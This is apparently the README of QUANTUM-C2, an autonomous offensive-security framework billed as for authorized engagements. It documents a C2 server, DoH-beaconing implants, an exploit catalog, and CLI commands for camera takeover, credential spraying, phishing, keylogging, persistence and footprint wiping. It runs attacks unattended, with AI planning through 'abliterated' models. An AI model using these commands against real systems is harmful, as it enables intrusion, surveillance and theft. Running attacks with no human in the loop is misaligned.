QUANTUM-C2
One launcher. One engagement. Recon to sealed loot to MITRE report — with no operator in the loop.
QUANTUM-C2 is an autonomous offensive security framework for authorized penetration tests, lab ranges, and contracted engagements. Point it at a scope and the Overlord runs the loop itself: camera-first sweep, fingerprinting, validator-gated exploitation, post-exploitation staging, harvest, AES-256-GCM sealing, MITRE mapping. Ctrl-C seals the loot and exits clean.
It is not a wrapper around someone else's tooling. The C2, the implant transports, the exploit catalog, the loot sealing, and the reporting layer all live in this repo and all run locally.
Authorized engagements only. QUANTUM-C2 assumes written authorization for every network you point it at.
Contents
What this is
An autonomous engagement loop with a real C2 underneath it, built to run unattended and leave an auditable trail.
|
|
| Autonomous Overlord |
Unattended engagement loop with aggression postures, validator gating, and cycle caps. Runs AI-planned or fully deterministic (--no-ai). |
| Production C2 |
Waitress-served WSGI C2 on :8443 with a covert kill-switch that wipes and retires every beaconing implant. |
| DoH egress implants |
GHOSTFANG-DNS beacons ride public DoH resolvers on 443/tcp as base32 subdomain labels. No inbound ports; tasking over DNS TXT. |
| 3,372-CVE catalog |
Indexed by CVE and by vendor across 95 vendors, with a tiered registry, a fire contract, and a daily auto-update workflow. |
| 175 post-ex modules |
14 lanes: credentials, crypto, forensics, privesc, persistence, evasion, network, radio, exfil, control, accounts, OTP, MITM, abuse. |
| Camera warfare |
TCP and WS-Discovery discovery, vendor fingerprinting, credential spray, snapshot and PTZ control. |
| PolyMorph v3 |
Per-beacon epoch-keyed HMAC keystreams with junk filler — identical plaintexts never produce identical wire bytes. |
| Sealed loot |
Everything sealed at rest with AES-256-GCM. The sealing key is created once and never rewritten. |
| Listener manager |
Unique port allocation per engagement; every listener serves and receives callbacks independently. |
| MITRE reporting |
Audit log maps to logs/mitre_map.json on demand. |
| Android operator app |
On-device dashboard, tasking, and telemetry against the same API. |
The engagement loop
recon → fingerprint → validator gate → exploit → stage → harvest → seal → MITRE map
--aggression controls how the loop behaves at the gate. balanced respects the validator; aggressive fires past it; patient waits for a stronger signal. --cycles N caps iterations, 0 runs until interrupted.
What this is not
Read this before you file an issue.
A Metasploit replacement, this is not. The catalog indexes 3,372 CVEs across 95 vendors. It does not fire 3,372 exploits — catalogued means known and linked, and the set that actually runs is far smaller. Check the CVE's folder in exploit_catalog/ for what it really is before assuming auto lands it.
Not Cobalt Strike either. There's a C2, workable transports, and a kill-switch, but no team server and no Malleable C2 profile language. Federation (--peer <onion>) syncs a peer's implant registry — that's shared state, not a shared live session. One operator, one box, one engagement.
Not commercial spyware. Pegasus-adjacent chains are here as forged stages, not as NSO's implant, and nothing is turnkey against an arbitrary handset. Delivery and per-device offsets are yours to solve.
Not quiet. Recon is a sweep. A default autonomous /24 run is loud and --aggression aggressive is louder. If the engagement has an IDS budget, plan around it.
Not Windows-first. A meaningful share of modules are POSIX-only or were developed against Linux targets. Windows is covered and gets a CI leg, but the bias runs toward Linux, routers, and cameras.
Not an AV-evasion product. PolyMorph changes wire bytes, not on-disk signatures. No EDR bypass is guaranteed.
Not affiliated with the real thing. QUANTUM, FOXACID, and CAMWAR are homage to the published TAO tooling. Independent reimplementation, no shared code.
What "verified" means here
Payload folders are generators that self-verify structurally — they emit honest JSON and report vulnerable: true only when a target-side signal was observed. Generation is not RCE confirmation; that needs the vendor's vulnerable parser and a real delivery path.
Radio zero-clicks (BlueFrag, BT HID, KRACK) produce correct frames; radio delivery is lab-side. Exactly one exploit is verified end-to-end against a live target: the ADB TLS bypass, against a mock adbd.
Everything runs locally — no telemetry, no license server, no account. But AI planning is a network call by default; --no-ai makes the run fully offline and deterministic.
Single maintainer, best-effort, no SLA. CI is currently red on main.
Platforms
| Target |
Status |
| Windows |
Ships — PyInstaller EXE, verified build |
| Linux / Kali |
Ships — primary development target |
| Android |
Ships — APK built in CI, operator app |
| macOS |
Build script only — build/mac/build-dmg.sh, no .dmg committed |
| iOS |
Target only — .ipa needs an Apple toolchain, not produced |
.deb / .snap |
Not produced — scripts exist in build/deb/, build/snap/ |
macOS and iOS are marked honestly rather than claimed. If you need either, the scripts are the starting point, not a download.
Requirements
- Python 3.9+
pip and a virtualenv you're willing to pollute
- Optional:
nmap, adb, tor for the commands that shell out to them
- Optional: an AI provider key for AI-planned runs (see Configuration)
Dependencies install from requirements.txt. The core set is Flask, Waitress, pycryptodome, impacket, pysmb, requests, and colorama.
Install
git clone https://github.com/ProjectZeroDays/Quantum-C2
cd Quantum-C2
python -m venv .venv
source .venv/bin/activate # Windows: .venv\Scripts\activate
pip install -r requirements.txt
For the test suite as well:
pip install -r requirements-dev.txt
Nothing needs root except the commands that do raw sockets or ARP work — run those with sudo individually rather than elevating the whole shell.
Quick start
python quantum_cli.py # autonomous, camera-first, local /24
python quantum_cli.py --target 203.0.113.0/24 # external scope
python quantum_cli.py --no-ai --cycles 5 # fully deterministic, no AI calls
python quantum_cli.py serve # C2 only, no autonomy
No arguments means fully autonomous. The Overlord starts the C2 on :8443, sweeps scope for cameras, then loops. Ctrl-C at any point seals the loot and exits cleanly.
--target with a bare IP is expanded to its /24 and runs camera war autonomously. Add --manual for the step-through camera console.
Configuration
Configuration is environment-driven. Copy the shape below into .env in the repo root; it is read at startup.
# AI planning (optional — omit entirely for QBrain deterministic mode)
ABLITERATION_KEY=your-key-here
# Pin a model instead of using adaptive selection
QCLI_PINNED_MODEL=model-id
# Force deterministic mode without passing --no-ai
QCLI_NO_AI=1
| Variable |
Effect |
ABLITERATION_KEY |
Enables AI planning via Abliterated.ai. Without it, QBrain decides. |
QCLI_PINNED_MODEL |
Locks the AI model. Overridden by --model. |
QCLI_NO_AI |
Same as --no-ai — no prompts, no model downloads, no provider calls. |
Provider presets and key status are listed with python quantum_cli.py providers. Supported presets: abliteration, openrouter, venice, agnes, opencode.
With no key and no AI, everything still works — QBrain is a deterministic planner, not a degraded mode.
Usage
quantum_cli.py is the single entry point and delegates to python -m quantum. With no command and no --menu, it runs the autonomous Overlord.
Global flags
| Flag |
Meaning |
--menu |
Open the manual console, including the camera console (c). |
--scope, -c <CIDR> |
Autonomous / scan scope. |
--target, -t <IP/CIDR> |
External target — autonomous camera war by default; add --manual for the console. |
--manual |
With --target: manual camera console instead of autonomous. |
--camera-only |
Restrict autonomous mode to camera operations. |
--no-ai |
Fully deterministic. No AI prompts, no downloads, no provider network calls. |
--cycles <N> |
Autonomous cycle cap. 0 is infinite. |
--aggression balanced|aggressive|patient |
Autonomous posture at the validator gate. |
--model <id> |
Pin the AI model. |
--kill |
Arm the kill-switch against a live C2 via POST /kill. |
--domain <domain> |
Operator-controlled domain for DoH egress beacons. |
-g, --gateway |
Gateway IP for QUANTUM insert. |
--iface |
Network interface. |
--peer <onion> |
Federation peer .onion to sync. |
-dc-ip, -dc-name, -d |
Domain-controller parameters for zerologon. |
-f, --file |
Input file for pcap. |
--force |
Force exploitation past the validator gate. |
C2 and network
python quantum_cli.py serve # production WSGI C2 on :8443
python quantum_cli.py federation # start federation service -> {"onion": ...}
python quantum_cli.py federation --peer <peer-onion> # merge a peer's implant registry
python quantum_cli.py posixagent # generate the POSIX agent; -t to pin host
python quantum_cli.py ghostdns --domain ops.example.tld # DoH egress agent + task check
python quantum_cli.py listener deploy # allocate a listener on 9100-9999
python quantum_cli.py listener active # list active listeners
python quantum_cli.py listener hits # show callback hits
python quantum_cli.py listener stopall # tear down every listener
Camera warfare
python quantum_cli.py camwar -c 10.0.0.0/24 # discover, attack, control every camera in scope
python quantum_cli.py camshot -t 10.0.0.42 # one-shot: identify, attack, snapshot
python quantum_cli.py cams -c 10.0.0.0/24 # verbose step-through variant
Recon and probing
python quantum_cli.py zerocheck -t 10.0.0.42 # 9-probe battery: log4shell, citrixbleed, citrix path,
# PAN-OS, Confluence OGNL, WebLogic, IOS XE, vCenter, MOVEit
python quantum_cli.py recon -t 10.0.0.42 # fingerprint
python quantum_cli.py osint -t example.com # OSINT lookup
python quantum_cli.py validator -t 10.0.0.42 # target-value scoring, the exploit gate
Exploitation
python quantum_cli.py auto -t 10.0.0.42 # validator-gated auto-exploit; --force skips the gate
python quantum_cli.py brute -t 10.0.0.42 # credential spray
python quantum_cli.py routerexploit -t 10.0.0.42 # router CVE set
python quantum_cli.py phish -t user@example.com # phish engine
Implant and post-exploit
python quantum_cli.py keylog # stage the keylogger, delivered on next beacon
python quantum_cli.py persist # stage persistence (PERSISTX)
python quantum_cli.py wipe # footprint wipe, per host OS
python quantum_cli.py seal # seal all loot (GRAYFISH)
python quantum_cli.py unseal # unseal all loot
python quantum_cli.py harvest # pull staged artifacts
Techniques